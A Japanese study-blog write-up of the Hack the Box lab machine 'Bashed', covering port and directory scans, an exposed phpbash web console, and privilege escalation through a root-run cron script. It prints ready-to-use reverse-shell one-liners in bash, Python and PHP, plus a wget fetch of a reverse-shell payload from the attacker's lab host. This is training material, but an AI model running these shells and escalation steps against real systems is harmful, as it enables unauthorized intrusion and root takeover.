家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack the Box】Bashed

偵察/スキャン

nmapの結果、TCP/80が空いていることがわかりました。

 

┌──(kali㉿kali)-[~]
└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.68 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p$ports 10.10.10.68                                                                           
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 13:24 JST
Nmap scan report for 10.10.10.68
Host is up (0.58s latency).


PORT      STATE  SERVICE VERSION
80/tcp    open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
3088/tcp  closed xdtp

 

ブラウザでアクセスしてみるとphpbashについて書かれた記事が表示されます。

ブラウザでアクセスした様子

 

その他、アクセスできる場所がないか調べてみます。

 

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.68


-----------------
DIRB v2.22    
By The Dark Raver
-----------------


START_TIME: Wed Jul  6 13:29:27 2022
URL_BASE: http://10.10.10.68/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


-----------------


GENERATED WORDS: 4612                                                          


---- Scanning URL: http://10.10.10.68/ ----
==> DIRECTORY: http://10.10.10.68/css/                                                                                      
==> DIRECTORY: http://10.10.10.68/dev/                                                                                      
==> DIRECTORY: http://10.10.10.68/fonts/                                                                                    
==> DIRECTORY: http://10.10.10.68/images/                                                                                   
+ http://10.10.10.68/index.html (CODE:200|SIZE:7743)                                                                        
==> DIRECTORY: http://10.10.10.68/js/                                                                                       
==> DIRECTORY: http://10.10.10.68/php/                                                                                      
+ http://10.10.10.68/server-status (CODE:403|SIZE:299)                                                                      
==> DIRECTORY: http://10.10.10.68/uploads/                                                                                  
                                                                                                                            
---- Entering directory: http://10.10.10.68/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/php/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://10.10.10.68/uploads/ ----
+ http://10.10.10.68/uploads/index.html (CODE:200|SIZE:14)                                                                  
                                                                                                                            
-----------------
END_TIME: Wed Jul  6 14:02:11 2022
DOWNLOADED: 9224 - FOUND: 3

 

調査結果より/devにアクセスできることがわかります。

/dev配下のphpbash.phpにアクセスするとWebコンソールのようなページが表示されます。現在は「www」というユーザです。 このユーザができることを調べてみます。

試行の様子

 

scriptmanagerというユーザが存在し、コマンドが実行可能なのですがWebコンソールからは実行できませんでした。

 

補足:sudo -l

sudo -lの実行結果にある実行結果(scriptmanager:scriptmanager)は、左側がユーザ、右側がグループを表します。

また、()外のALLは実行できるコマンドを表します。

※NOPASSWDはパスワードが不要の意味

 

アクセスの取得

Webコンソールではうまく動作しないので、リバースシェルの取得を試してみます。

リバースシェルの取得方法は複数あります。

 

bashを使う方法
bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9

 

Pythonを使う方法
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect*1;os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

phpを使う方法
php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'

 

bashを使う方法はうまくいきませんでした。

bashedではpythonが使えるようです。

Pythonが使えることを確認

接続を待ち受けるターミナルで以下を実行。

nc -lvnp 4444

 

bashed上で以下を実行。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

リバースシェルが取得できました。

また、先ほどできなかったscriptmanagerへの切り替えもうまくできました。

リバースシェル取得

scriptmanagerでディレクトリを見てみると/配下にscriptsというディレクトリがあり、その中にPythonのプログラムとテキストファイルが配置されています。

Pythonファイルはテキストファイルに書き込みを行うようなものであることがわかります。

また、test.txtはrootが所有(test.pyをrootが実行)しており更新時間を見ると定期的に更新が行われているようです。

そのため、test.pyを書き換えてリバースシェルを取得することでroot権限が取得できると思われます。

scriptsディレクトリの様子

 

権限昇格

シェルを取得するtest.pyをkali側で作成します。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 

kali側でhttpサーバを立ち上げます。

python -m SimpleHTTPServer
もしくは
python3 -m http.server

 

bashedで上記ファイルを取得します。

wget http://10.10.16.2:80/test.py -O ./test.py

 

しばらくすると、kali側でrootのシェルを取得することができます。

Flag取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

 

jpn.nec.com

 

tech.kusuwada.com

 

junki071129.medium.com

 

 

 

*1:"<addr>",<port>